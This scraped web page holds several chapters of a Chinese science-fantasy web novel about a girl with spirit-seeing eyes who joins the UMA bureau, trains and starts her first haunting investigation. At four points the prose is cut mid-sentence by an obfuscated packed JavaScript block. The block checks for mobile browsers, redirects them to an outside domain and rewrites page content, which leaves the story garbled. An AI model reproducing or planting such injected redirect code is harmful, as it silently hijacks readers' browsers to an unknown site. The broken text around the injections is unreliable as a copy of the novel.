“我叫它们异质体。”季明珊像是看到了老朋友。她背手而立,瞳孔忽地变色,由黑绿转为了金黄,那些朝着两人移动的黑色巨怪们瞬间停住了脚步,还有几只掉头回去,好似不想招惹这位呼唤它们的强者。 亲眼所见,比有所耳闻的震撼要大得多。霓虹双脚钉在原地,眼神中逐渐流露出惊讶、恐惧、不可置信。 这是何等强大的力量。 “你可以看清异质体么?”季明珊开口询问。 “可以。” “数量?” 霓虹粗浅地估计了下,飞快回答:“三十?” 季明珊忽地笑了。 “霓虹啊霓虹。”她侧过头,笑容明媚而开朗,“欢迎来到‘视灵者’的世界。” …… 霓虹还没来得及深思这个名称的含义,只见季明珊从胸口的隐秘口袋中摸出一个铜币样式的金属圆片,上面还雕刻着特殊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“异质体来源未知,成分未知,有点像古老传说中的鬼魂。如果把地表看作一张纸面,人类就是正面的笔墨,它们则是背面隐约透过的痕迹。当一张纸平放在桌面上,只有极少数人能够同时看到正反两侧,而我们,又被称为‘视灵者’,就可以同时看到人类和异质体。” “联邦有多少视灵者?”霓虹知道季明珊能颇有耐心地指导、引领她,纯粹是因为自己这双眼。 “登记在册的共有36位。除开经过智能、机械改造的合成人,自然人仅有12人。”季明珊语气兀地冷了下来,“走出这扇门,不要和任何人提及视灵者的事,不要暴露你的能力,不要理会任何形式的试探。” “……好。”霓虹记下了。联邦如今三十亿人口,这个悬殊比例,可见这份能力的珍稀。 “切记。”季明珊再一次以郑重口吻嘱咐着,“只有单独和我一起时,才可以使用能力。” “一定。”霓虹从不会把她人真诚的劝诫当儿戏。她像是随口问起,“其余那11人呢?” 季明珊沉默。 “5人精神崩溃,在联邦医疗中心接受二十四小时医护监管;3人在家中意外身亡;1人信仰叛变,被放逐至未知星际;其余2人因犯下重大罪行,被关押在联邦最高警戒的塔河监狱,终身服刑。”一旁的助理陈元,见季明珊不愿提及往事,适时替她开口解释着。 真是……霓虹一阵语塞。“视灵者”仿佛是个同灾厄捆绑的名称,除了季明珊,其他自然人可以说是全军覆没。 “还有什么要问的?”季明珊打断了她的联想。 “我还是不懂,具体的工作内容是什么。”霓虹没有退却,斟酌着话语,“清除异质体?” “不。”她解开领口的束绳,将长袍随手扔给陈元,“和其他员工一样,借助传送舱,到各个时空记录未知生物体的存在,处理未知生物体带来的麻烦。你需要接受专业的训练,通过UMA组织的入职测试,提升等级,才能正式参与任务。” 这听起来就正经多了。霓虹松了口气。 “至于异质体……”走到门口,季明珊回头补充了句,“它们永恒存在,永远无法被清除。” 8. 诡异黑影(六) 季明珊还有事找白恩,吩咐陈元领霓虹去办理入职手续,顺带到方町那里打印员工手册、录入信息,再到后勤部门领取制服和工牌。 “陈助理。”霓虹反复端详着手中奇特金属制造的圆币,上面刻着扭曲得像小蛇的花纹,“这是什么?” 方才后勤部的员工递给她一个印有UMA标志的皮质背包,里面有两套崭新的天蓝色制服、一个刻着“霓虹编号10717”的工牌,和这枚不知用途的金属圆币。 霓虹不知道陈元去没去过无垠之地,就没有补充说,‘她似乎在季局长手里见过类似的一枚’。 “这是信标。”陈元指了指上面的花纹,“方町会根据每个人的特性,制作花纹完全不同的信标。传送舱返回需要特质触发条件,经过数以万次的实验,将极具个人特色的信标抛掷空中,落地前,传送舱就会将人带回现实世界。” 霓虹不安皱眉,心想这方町权力未免太大。她再次用拇指摩挲过上面扭曲诡异的花纹,一股阴森之气顿时顺着她的手指爬向肩膀。 她将圆币握在掌心,没再做多余的动作。 她的工位在105层。面积不大的方正房间,拥有一张长约两米的原木桌,墙边有两组橱柜,脚下是深棕色的长毛地毯。柔黄色的落地灯在长桌一侧点亮,成为封闭房间内唯一光源。 霓虹莫名感觉有点熟悉。 “这是方町根据你个人综合信息,挑选出最适合你的办公场所。所有外勤人员都拥有独立办公室,当然,大部分时间外勤人员不需要坐班,只供偶尔整理资料、储放个人办公用品使用。每间办公室登记开启后,只能由本人打开、进入,保证了办公环境的私密性。” 又是方町。 霓虹走到桌前,打过蜡的光滑桌面上空无一物。她坐在转椅上,拉开桌下的抽屉,一本崭新的《员工手册》和入职培训课程表静静躺在其中。 这本《员工手册》有恐怖的上百页,堪比语言词典。霓虹随手翻了翻—— 共计342页,每一页都是完全相同的内容: 1、严禁独自进入传送舱; 2、严禁无防护触碰封印物品; 3、严禁私改任务成员; 4、严禁在负77层交谈; 5、严禁进入他人办公室; 6、严禁食用情绪; 7、严禁标记未知时空; 8、严禁泄露工作内容; 9、严禁私育未知生物体。 ……浪费纸可不是好习惯。再说这上面都写得什么玩意? 霓虹面部抽搐了下,又拿起那张轻薄的课程表。时长一月,一天两节课,共计4小时,周末还有休息。看起来安排得非常合理。 “季局长要求对你单独授课,加紧培训。”陈元抽走她手里那张神仙课程表,笑着开口:“明早6点,会有专车接你到管理局参加入职培训,一天八节课。她希望你一周内可以通过测试。” 霓虹:……视灵者是什么很贱的人吗? 交代完必要事项,陈元告退,让她去一楼大厅等待白恩。他似乎和季明珊有一些隐秘的联系,她都转了那么一大圈,若只是布置任务、交换情报这类公事,此刻应该是白恩在楼下等她才对。 正想着,白恩从电梯走出。他一看到霓虹,面上沉郁的表情瞬间收拢,换上温和的笑意:“我们走吧。” “好。” 星际飞船无声航行。两人揣着各自的心事,沉默地返回了824号居民区。 刚过四点,还没到往常放学的时间。不过白姨肯定知道自己没去学校,因为客厅的小沙发上还放着敞口的书包。 “你可以选择,带奶奶去第一区。”白恩给着建议,“或者继续留在824区,我会为你挑选核心区最适合的公寓,我的母亲……曾拒绝了迁往五大区的请求。她很负责任,也对你奶奶很是上心。” “这里还安全吗?”霓虹问得认真,同时观察着他的细微表情变化。 “安全。”白恩神色如常,没多解释什么,“不会再有异质体。我也会继续留守824区。” 那就好。 白恩有急事要回警署,委托同事将她先行送回家。在车门即将关闭时,白恩忽地折返回来。 “霓虹。”他脸上流露出与季明珊在无垠之地召唤异质体时、如出一辙的哀伤神色,“保护好自己。” …… “小霓,你……”白芳正在家里收拾着卫生,看霓虹一脸沉静地走进家门,只觉得她整个人像变了副模样。 “白姨。”霓虹搭手接过她手里的扫帚,“我要离开824区,你能继续照顾我的奶奶吗?” “当然可以。”白芳疑惑地看向她,“可你要去哪里?” 霓虹抿了抿嘴,眸光下移。 白芳熟悉这个表情。自从白恩被联邦警署录用,每当她问起工作,都会面对这样一个表情。 “你放心,我会照顾好你奶奶。”白芳挪开视线,“有没有什么要准备的?我领你去买几套衣服吧,你到那边是自己住,还是和人一起?星币够不够?” 霓虹笑了笑,“白姨,不用麻烦。往后每月,我会往家里打十万星币。我可能不常回来,只能辛苦你了。” “十万?!”白芳惊呼出声。白恩可是一级警官,薪资高于联邦百分之九十的职员,每月的薪水才区区一万星币。霓虹只有十六岁,难道说…… “是研究员。”霓虹打断了她的联想,“我要去第一区,当研究员。” “啊,好,太好了。”她几乎要喜极而泣,“等你奶奶哪天恢复了,一定会为你感到自豪!” 霓虹扯了扯嘴角。她倒希望,自己能活到那一天。 她进屋查看了下奶奶的情况。自从寄生的异质体脱离宿主,奶奶一直在沉睡,呼吸尚且均匀。这位老人永远不会知道自己身上发生过什么,甚至可能遗忘了大多数往事,连她的子孙都不会记得。 霓虹俯身轻吻了下她满是皱纹的额头,在心里无声道别。 …… UMA管理局,地下25层。 今天是霓虹第三个训练日。 季明珊披着袍子,远远站在墙边,看霓虹一次次被格斗老师打飞、爬起,嘴角的血渍干了又流。她起身随手一抹,糊了半张脸。 那老师名叫苏芸,因伤从联邦第一军区退役,成为了UMA管理局的体能教官。她的四肢接受过机械改造,可以单手举起四五吨重的铁石,一脚就能送敌人升天。 但她盲了一只眼睛。 苏芸轻松地甩着手腕,轻飘飘地将赤手空拳的霓虹掀飞,还不忘和季明珊调侃:“UMA什么时候这么脏,还雇佣上童工了?” 霓虹估计连警署那帮娇弱的花骨朵都不如。 “只是为了让她学点保命的招式。”季明珊看的无聊,打了个哈欠,“注意分寸。” 霓虹几乎要把后槽牙咬碎,才能勉强扶着膝盖直起身。她很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660050|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍惜这几天的课程,不管是枯燥无味的封印物普及和未知生物体调查研究流程讲解、还是偏向实战的射击和格斗课,她都付出了百分百的专注。 就像季明珊说的,她总得有个保命的能力。她只是拥有16岁的身体,却不能因此限制自己的提升空间。她要最大化地了解这个世界,把命运握在自己手中。不管传送舱是否能将她传送回曾经自己生存的时空,那都不是她眼下该考虑的事情。 她得先学会活下去。 她目前大概清楚了外勤调查员的工作内容:根据联邦各地掌握的有关未知生物体存在的文献、照片、影像记录,以及人们的口述,利用传送舱抵达附近时空开展调查。任务通常是五人小队,也可根据任务等级自行组队,原则上不少于两人。 霓虹第一天上课,就迫切想知道自己在异时空里,可能面对的是什么。对此她得到的回复是:C级任务主要是一些形貌特殊、举止诡异的动植物,例如长满人脸的竹林、深海水怪、会夜半敲门的拟人蝇;B级任务则多为怨灵,或承载幽怨、沾染灵性的无生命体,需要进行净化或是拆除;A级……则由七位局长带队,具体内容隐秘未知,保密级别在SSS级,UMA管理局自成立以来,也不过只有三次A级任务。每类任务都由静默员先行分析处理、划归等级,再根据任务时效、危险程度等进行排序,统一记录在内部信息库中;方町则根据外勤人员的水平和能力偏向进行任务分配,最后调查员带回的数据交由静默员二次处理、封存档案,若有未知生物体带回,流程会更加复杂,外勤人员还要参与到封印、研究等具体工作。 除此之外,UMA管理局还要配合警署和军区的有关工作,牵扯到各方势力,成分就变得复杂多了,不能一概而论。 听起来是套正经流程。 季明珊颇有耐心地等她训练完,递给她一个用印花布料包裹的方正盒子,看着十分精致。 霓虹手上有血,没接,指了指自己的背包。 “特意多做一份,专门给你拿来的。”季明珊强调着,将包裹塞进包里。 吃点好的,让她回回血? “谢,谢。”霓虹这两天喉咙充血得厉害,肿得发声困难,只能单字往外蹦。 “好好学。”季明珊没表扬也没批评,真当自己是只来送个盒饭,“下周见。” 霓虹到训练场公用盥洗室将自己脸上的血污冲洗干净。她确实有点饿了,这几天体能消耗太严重,管理局的一日三餐并不能喂饱她空虚的身体。 “这是什么?”苏芸换好衣服出来,见她坐在长椅上,腿上放着个精致的盒子。她其实连汗都没出,只是刚才衣服上不小心沾到了霓虹的血迹。 “季,局,长,加,餐。”霓虹尽量少说几个字,只简略表达了含义。 她看到苏芸倒吸了一口冷气。 “那什么,你先吃。我有事走了。” 不是刚才还说要复盘? 霓虹轻轻扯开饭盒缠绕的丝巾,小心翼翼地将干净柔软的布料拿下,放进包里,毫无防备地打开盖子—— 里面是一条没完全剥掉皮的、足足有两指粗的花蛇。蛇头和颈部的皮被完全保留,一节分叉的红舌被抻长,连着弯曲的蛇尾。可以看出烹饪方式极为简单,清水煮过后淋上了诡异的蓝绿色酱汁,整个饭盒散发着巨大的腥臭,像是垃圾桶底部化成水液的腐烂苹果。 霓虹双膝一软,从椅子上滑跪了下去。 “呕!!!!!” 9. 诡异黑影(七) 考核日。 季明珊本来是抱着鼓励的心思来的考核室,毕竟霓虹只有16岁,人生连大考都没参加过几个。季明珊本想悄悄挪到她身后,和她耳语,就算外勤考核不过,她也可以暗箱操作,调她到108层当助理。 谁知她脚尖刚一动,霓虹就默不作声地远离一步,始终和她保持着四五米的距离。 霓虹那天本就疲累,还吐了个昏天黑地。闻声而归的苏芸有些歉疚地替她收拾,告诉了她季明珊有异食癖。 这在UMA管理局是人尽皆知的消息。季局长偶尔“打猎”归来,有些检测过没有杂质和毒性的肉质生物,留下基因或母种后,就被她单独打包走了。随即108层附近的人们就能闻到某些恶劣的味道。这些年季明珊沉稳多了,还知道做熟了再吃,年轻时候都是先尝为快,就吃那一口新鲜。 恐怖如斯。 “10717号,请上格斗台。” 霓虹朝场地右侧、明显是双层玻璃的后方看去。奇怪的是,她竟然能看到其中隐约的人影,像是拥有了透视技能。 她缓步上台,余光却没离开那面玻璃。她看到头发高高竖起的季明珊推门而入,到最右边的位置落座。其余六个身影高矮不同,看不出模样,有的肥胖、有的瘦削,似乎在交谈。 这应该就是UMA的七位局长。 霓虹对自己的理论知识考核颇为自信,毕竟她曾经经历过残酷的高考;射击也能勉强过关,因为她练习的手枪小巧轻便,基本没有后坐力,只需瞄准。而老师也提早透露,只需将子弹连续上靶十次,就算及格。 唯一不确定的就是格斗。 苏芸只说会从入职员工中随机挑选格斗对手。霓虹快速活动开四肢,绷紧肌肉,做好迎战准备。 对侧大门缓缓开启。霓虹紧盯着对面。苏芸讲过,要提前观察对手的习惯姿势、走路步态、最好能判断出对方是左利手还是右利手。 结果却从中走出个扎双马尾的小姑娘。 霓虹愣了一下,也没轻敌,快速扫视对方。明显的右利手,四肢力量薄弱,头围偏大,眼神……眼神似乎有点郁闷。 “怎么会是她?” “这小朋友运气不错,上来就抽到个格斗倒一。” “我觉得有必要换个对手,外勤人员可不比静默员。” “哈哈哈,万一连这个也打不过呢?” “还是换个吧,没有挑战性。” “也是。再说小董也是优秀员工,别再给打出个好歹来。” “规矩就是规矩。”评审区内,季明珊身体后仰、靠着椅背,一只精致红棕色小羊皮靴没有礼貌地踩在桌沿,神情慵懒地堵住了这几张聒噪的嘴,“谁要有那个闲情逸致,到联邦总局去面陈工作汇报,谁就换人。” 不过,就连季明珊都要感叹霓虹的好运了——先是手无缚鸡之力碰上异质体,还能全身而退;现在就连最不擅长的格斗,也能从万八个考核通过的职员里,抽中走后门的那个。 季明珊眯了眯眼,再次看向有些局促地走上格斗台的女孩儿,心里倒升起了别的想法。 “霓虹。” “董咚咚。” 格斗赛的礼仪,正式开始前,要双方到台中央握手、互相报上大名,再回到台面上左右各一、直径一米的圆形圈内做准备,听到哨声后才可出圈。 董咚咚哆嗦着腿,看向对面眼神颇为凌厉的霓虹,心想这都叫什么事啊——自己只是个牛马打工人罢了,还得在上班时间挨揍。 拿她一个静默员来考核外勤新人,是不是有点过分? 哨声响起。霓虹完全没给对方反应的机会,飞快冲上前,用最拿手的招式,一记飞腿直攻对方小腿骨。 她都盘算好了,既然自己体能一般,上来就出杀招,兴许还能出其不意。攻完这一腿,她可以趁对方吃痛缓解的瞬间绕到左侧身后,肘击其背部脆弱的肋骨延伸处,再在她身体反射上仰的瞬间,抬手勒住她的脖颈。 但对方完全没给她实战的机会——她一脚下去,董咚咚直挺挺地跪倒在格斗台上,瞬间昏迷了。她小腿软绵绵地歪曲成折断的形状,看着像个可怜的、被扭断腿的布娃娃。 她……有这么大力气?霓虹傻眼了,董咚咚是怎么在苏芸的训练里活下来的? 两侧一早守着的医者飞快反应过来,及时上台为她注射了针剂,将人用担架飞快抬离了现场。 她通过了?霓虹不可置信地扭头,精准地和季明珊对上了视线。不知怎么,精神紧绷的情况下,她的“视力”更加清楚,能够完全看清玻璃后那七人—— 只可惜,除了季明珊,其余六人都带着厚重的面纱。但即便隔着面纱,她也能感受到他们的不悦。 霓虹开始反思。难道自己并不只能看到异质体?随着体能的提升,和对一些隐秘存在的接触,她能看到不少潜藏的东西,甚至包括人的情绪、心理。 季明珊这样级别的视灵者,是不是任何人在她眼里,都清澈得像一汪泉?所有想隐藏的存在,都在她眼里像水面一样清亮、可视。 她突然迫切地想要成长起来。在联邦,18岁同样是未成年和成年的分割线,或许到那个时候,自己也可以成为掌握某种神秘力量、不再任人拿捏的角色。 “愣着干什么?” 季明珊不知何时鬼魅般站到她身侧。 霓虹吓一大跳,像只炸了毛的大猫,瞬间弹射了几米远。 “不会是因为那道蛇肉吧?”季明珊四个瞳孔黑洞洞地看向她。 “的确是。”霓虹唇角泛起一抹苦笑。她那天甚至回忆起无垠之地那几只掉头就跑的异质体,猜测季明珊是不是也“品尝”过它们的同类。 “暴殄天物。”季明珊拂袖而去,临走前还不忘扔给服侍其侧的陈元一个烂摊子,“带她去公寓,明天上工。” …… 陈元换了身休闲便装,霓虹上下打量了下这位形貌上乘、个子高挑的男人,感觉他应该年龄不大。他五官深邃、皮肤白嫩,鼻梁高挺得能在上面滑滑梯,很符合霓虹对英俊男性的刻板印象。 都怪UMA的制服太刻板显老。 “你……挺年轻啊,多大了?”霓虹上辈子是个母单,并不晓得什么搭讪话术,一开口就是流氓气十足。 “什么?”操作飞车的陈元像是没接收到正确的指令,一脸茫然地扭过头来。 “没事。”霓虹朝他摆摆手,尴尬地阖眼假寐。 一定是考核完太得意忘形。霓虹在心里暗暗抽了自己一个巴掌。 “我今年76岁。”过了一会儿,陈元像是回过神,脸上带着不自觉的绯红,“明天任务结束,如果你方便,我可以请你喝咖啡。” ?????< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660051|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她奶奶今年也才刚80!霓虹内心大憾,侧目看去,眼里满是对联邦医美科技水平的惊叹。 陈元被她看得莫名,大概猜测到她曾经生活在落后的贫民区,对这个世界了解并不充分,连忙出言解释道:“我是智能人。” 哦。 方町的形象再次浮现脑海。同样是智能人,抛开那双眼睛,一样是上好的皮囊。霓虹猛地想起上辈子自己似乎玩过一个仿生人游戏,拥有出众皮囊的仿生人,被人类选择从事家政、警员、保镖等工作,随之拥有了和人类一样的自我意识。 “你是被季明珊创造的?”霓虹很好奇。以目前来看,季明珊非常信任陈元。 “不。”陈元丝毫没有觉得被冒犯,只当为她填补缺失的常识,“智能人统一由联邦智能公司创造,用于弥补生育率的下降。智能人拥有和自然人同样的自由公民身份,除了没有亲属,享有一切自然人享有的公民权利,还可以自由挑选名称。智能人的公民等级,则需要参加各类考试晋升。至于季局长的助理……是我应聘上的。” “真抱歉。我……不知道这些。”霓虹只觉得这辆飞车里的空气越发稀薄了。 “没事。”陈元岔开话题,“你想先去公寓,还是先去添置些新家具?” “公寓吧。” 陈元笑笑,不打算再逗弄这个小姑娘,加速前往目的地。 季明珊眼光很好,为她在第一区的近郊挑选了一栋智能公寓的顶楼。第一区人口实行严格控制,大多是拥有重要职位的联邦人才居住,公寓设计十分人性化,每层都有单独停车位,可容纳两辆飞车。陈元教她激活了公寓的指纹锁,霓虹推门而入—— 数道温和阳光自窗外斜射进来,铺满了她面前浅棕色的原木地板。奶杏色的布艺沙发在靠墙一侧,一张智能屏幕悬挂在沙发对面,左手边是内嵌的白色橱柜。霓虹指间擦过白色墙壁,目光欣喜地走向卧室。同样是被阳光笼罩,一张铺着柔软床垫的双人大床孤零零地摆在其中。这间屋子的墙壁是温柔的暖黄色,只是站在这里,就莫名生出一股倦意,很想蹬掉鞋子,爬到大床中央舒服地睡上一觉。 此外,公寓里还有一间客房、两个盥洗室、半开放式厨房和餐厅。由于是顶楼,霓虹还免费拥有了一间阁楼,分为两个区域,储物间和书房。 “这里和你的办公室一样,被激活后终身享有居住使用权,并且,除非你本人的邀请,没人能够破除这里的安全防护,贸然闯进来打扰。”陈元进来后,只站在门厅,没有朝里迈一步,“外勤人员需要足够的休息,公寓条件都是最优配置。如果有什么需要购置的家具和修建的地方,可以联系我。” 霓虹虽不记得上辈子自己家是什么模样,但在这里,这样好采光的大平层公寓、这样温馨而又优质的装潢,让她有种捡了大便宜的兴奋感。 先别管别的,我有家了! 陈元又交代了公寓水电及一些设施的应用,便尽快离开了。霓虹把所有烦心事抛到脑后,甩掉鞋子,飞扑到床上。连日训练带来的疲惫和焦躁一扫而空,她没有拉上窗帘,任由阳光将身体晒得暖和又放松。 她很快沉沉睡去。 太阳西斜,屋内逐渐被黑暗笼罩。公寓里安静而又空旷,没人发觉在通往阁楼的阶梯上,有一团蠕动着的黑色粘液样生物,正小心翼翼地探出头来,朝卧室张望。 10. 青环路39号(一) 霓虹是被急促的敲门声叫醒的。 她不耐地在柔软大床上翻了个身,满脑子都是陈云昨天说的那句话——“除非本人邀请,没人能进来贸然打扰”,所以只当听不见,四肢张开呈“大”字状,牢牢把自己栓在床上。 门口沉寂了会儿。 “咚咚咚!!!”门外的人像是忍耐到了极点,忽地不知用身体什么部位,猛烈敲击着房门。霓虹一惊,缩着身子爬起,感觉天花板都在摇晃,抖落下灰尘。 知道她的住址,只可能是UMA管理局内部的人。她邋遢地披着头发起身,光脚过去,不太情愿地打开房门。 苏芸身穿紫色紧身运动服在门口站立,线条美得像雕塑。她的头戴式耳机挂在脖颈,正满脸怒意地看向霓虹。 “再晚一分钟,我就把你家门卸了。” “有什么事么,教官。”霓虹懒散地让开身子,邀她入内,“天还没亮。” “你不知道,今天要出任务?” 苏芸虽然对季明珊的抉择不甚理解,毕竟霓虹身体素质还差得多。不过,她相信季明珊的判断,她可不像军区那帮刻板的掌权者,能眼睁睁地看人送命。 霓虹难以自控地打了个哈欠,“陈元告诉我,中午到就可以。” “哼。”苏芸出声讥讽道,“知道为什么是中午么?因为每一次外勤出任务之前,都要早起训练,将体能、精神力等提升到最高状态。一般大家都是自行安排,但我知道你懒,‘特意’亲自来带你训练。” 霓虹轻咬着腮侧的软肉。她不记得学过类似内容,又或者这是外勤人员实践的通识,并不记载在书本里。 “等我洗漱一下。” 苏芸对她的觉悟很满意。她没有冒失地将自己的机械大脚踩进屋内,而是选择在门口等候。 她仍保持着军人的习惯,今天起床后,她已经绕着公寓区晨跑了二十圈,做了十组核心训练,脚底不可避免地沾上了泥土。 “走吧。”霓虹只用十分钟就完成了洗漱,换上了套轻薄的衣物、和一双侧面略有开胶的运动鞋。 这一票干完,得换身行头。霓虹在心里暗暗想着。 清晨的空气,带着潮湿的冷意。霓虹跟随苏芸从独户的电梯下楼,第一次正了八经地踩上第一区的土地,仰望这片湛蓝无边、此刻仍有星辰闪烁的天空。 真美啊。 霓虹知道,在历史记载的星际灾年后,地球的大小膨胀了数十倍,地表呈碎片化分布。灾变2年后成立的、统治人类的联邦组织,依据生存条件的优劣,将这些地表划分为有限个生存区。除此之外,还有不少地形崎岖、飘离地球大气范围外的、满足生存条件的流浪地表,也被纳入居民区范围,只是相对生活条件差强人意了些。 霓虹此前生活的联邦第824号生存区,就属于流浪地表。 她地理很差,理解不了分裂膨胀的地球和此刻混乱的星际,如何还能拥有这样澄澈的蓝天。 “跟紧我。”苏芸戴好耳机,开始慢跑。 霓虹看着身侧“嗖”的一下、身影就闪到几米开外的苏芸,不再感叹第一区优越的生存环境,迈开步子试图跟上。 …… 季明珊几日来都无心工作,凌乱的文件在桌上堆高,顶上几本岌岌可危,颤抖着眼看就要滑落。 陈元端着早饭进屋,她的身影掩在文件的阴影里,脸上正盖着一本《UMA月度小报》,呼吸匀称地睡熟了。 他轻放下装有两张蛋饼、一段鱼排和一把坚果的餐盘,小心地抱起半摞文件,准备拿回自己办公室处理。 “叫董咚咚上来。” 报纸下突然传来季明珊闷闷的声音。 “好。” 待陈元关上门,她直起身,任由报纸从脸上滑落。圆润的杏眸里,七八个游动的瞳孔见光后正快速融合,逐渐在每只眼睛里稳定成两个交叠的瞳孔,她的视线才变得清晰。 兴趣缺缺地扫了眼盘中的事物,她叉起鱼排,勉为其难地咬了一角。 “季局长。” 董咚咚怯懦地站在传闻里能吃人和怪物、双眸四瞳的季局长面前。 她是个出色的静默员,但静默员很少有机会直接接触高层。七位高层里,她只见过姑姑找关系的那位“汀局长”,对方还戴着面纱。 她走后门加入了UMA管理局,拿着丰厚的薪水,拥有窄小但温馨的公寓。她觉得自己一生,这样就足够了——她本来也不爱说话,只喜欢捣鼓些电脑,工作上没有社交,是她的幸运。 但最近似乎有点过于倒霉了。先是被摇号参加新人考核,被打断了一条腿;现在又被季局长盯上,不知为什么会找上自己,反正不是什么好事,毕竟没什么是比她当静默员更好的事了。 “我想邀请你,加入我的外勤小队。”季明珊尽量表现得平易近人一些,“你的能力很……独特,我很喜欢。外勤人员的薪水只多不少,同时,小队里会有人专门确保你的安全。” 董咚咚眼睛震惊地睁到最大,下意识抬手指向自己,结巴着开口,“我我我我,我吗?” 季明珊郑重点了点头,眼里没有半点嘲弄和玩笑之意。 董咚咚牙齿都打颤。她做了两年静默员,自然知道外勤人员会面对什么。那些样貌和习性奇特的动植物,自己还尚且能应付,但季明珊的小队,是绝不可能承接C级任务的。 至少是B级——有关邪恶的怨灵和灵宿物。 她可是独居啊!光是日常处理资料就狂掉SAN值了,要是真到现场……她不想体验噩梦缠身的感觉。 没等她想好措辞拒绝,季明珊从文件山上挑了一本打开,垂下头去,直接下了命令:“准备一下,十二点到负108层集合。” 这是没有转圜的余地了。 董咚咚拖着还绑着束带的伤腿,欲哭无泪地离开季明珊的办公室。她的姑姑去年因病过世,她也没胆量自己去找那位傲慢的“汀局长”。 她怎么这么惨啊! …… 霓虹被苏芸拉练了十五公里,两脚软得像面包。她眼前一阵绿、一阵黑,大口喘着,刚想出声告饶,苏芸又从兜里掏出两个微缩哑铃,强制塞进她手里。 “两组核心训练,跟着我做。” 霓虹一抬头,眼冒金星,仿佛又看到了漫天星辰。一个用力,那星辰顿时天旋地转,她整个人不受控制地向后栽倒过去。 苏芸轻啧了声。这要是在部队,霓虹非得让教官把屁股踢肿了不可。 等两人准时出现在UMA管理局负108层,霓虹已经浑身酸软,强打起精神才能睁开眼皮。季明珊对她的态度很不满,偏偏苏芸还在一旁添油加醋:“真是一副弱身板,不到二十公里的慢跑就能昏倒,建议给她加练。” 董咚咚闻言更向后缩了缩,试图用传送舱挡住自己弱小的身躯。 道理霓虹都懂。苏芸只是标准高了些,但那早晚是自己要达到的水准。只可惜目前这幅身体的底子太差,得刻苦锻炼才行。 陈元递给她一杯温热的蓝色液体,示意她喝下去。霓虹一口干了,顿觉浑身上下一股电流涌动,起码精神头是足了。 没多耽搁,季明珊系紧了长袍束口,在屏幕上投出资料:“B级任务,指挥:我本人,成员:苏芸、霓虹、董咚咚。有可靠情报表明,在地球纪元2034年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660052|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,X市青环路39号独栋房屋出现灵异事件,经探测至今仍有残余。” “地球不都炸了么,哪来的残余。”董咚咚丧气地嘟囔着。 季明珊唇角高扬,眼中满是警示:“相信我,怨灵是远比人类更顽强的存在。太过邪恶的怨灵,若不被人为清除,可以在任一时空生存,甚至感染四周,造成附近人类精神失控、自我灭亡的可怕现象。” 霓虹突然觉得,UMA入职培训的任务流程,讲得过于简洁了。 寻找源头、清除执念或暴力推平……直觉告诉她没这么简单。 几人简单查看相关资料后,季明珊打头,神情镇定地在传送舱上放松躺好;董咚咚被安排在她旁边的位置,紧咬牙关克制住落荒而逃的冲动;苏芸则皱眉注视着霓虹做好完善的准备,才放心在传送舱里躺下,像对待自己什么都做不好的孩子。 “呯。” 霓虹恢复意识的瞬间,听到了一声撞击的轻响。她睁开眼,发现自己身处一条热闹的街道,正抬手阖上出租车的侧门。 那司机一脚油门离开,马不停蹄地赶往下一个乘客的接送地。霓虹开始有些怀疑传送舱的基本原理——反正这趟车她是没给钱。 苏芸和季明珊正站在路边,漠然地扫视着周围的人群。这街道不宽,东西向各有两条车道,马路两边则是林立的高楼。华灯初上,路上步履匆匆的行人不在少数,没人额外关注马路边乘坐出租车前来、出现得十分合理的几人。 察觉到头顶淅沥的雨点,霓虹低头看去,她身上竟凭空多了件黑色的、长至膝盖的宽大雨衣,已经挂满了水珠。 “董咚咚呢?”霓虹靠近两人问道。 “过会儿就到了。”季明珊不甚在意地回复。 “事实上,是由于你们太过紧张。”苏芸丝毫不留情面,“传送舱使用的基本要求就是保持冷静,尽量不要有任何情绪波动,否则会出现时空的偏移。” 霓虹点点头,表示记下。她学着和季明珊一样观察四周,顿时察觉到一丝异样。 “青环路……不是在郊区么?为什么会传送到这里?”霓虹不解。 “和情报有关。”季明珊远远眺望着对面大楼,“这附近的一家地产公司,负责青环路1-50号建筑的租赁和售卖。最初察觉这栋建筑不对劲的,也是这家地产公司的中介。” 不是清除怨灵么,这还得兼职破案?霓虹在心底苦笑。 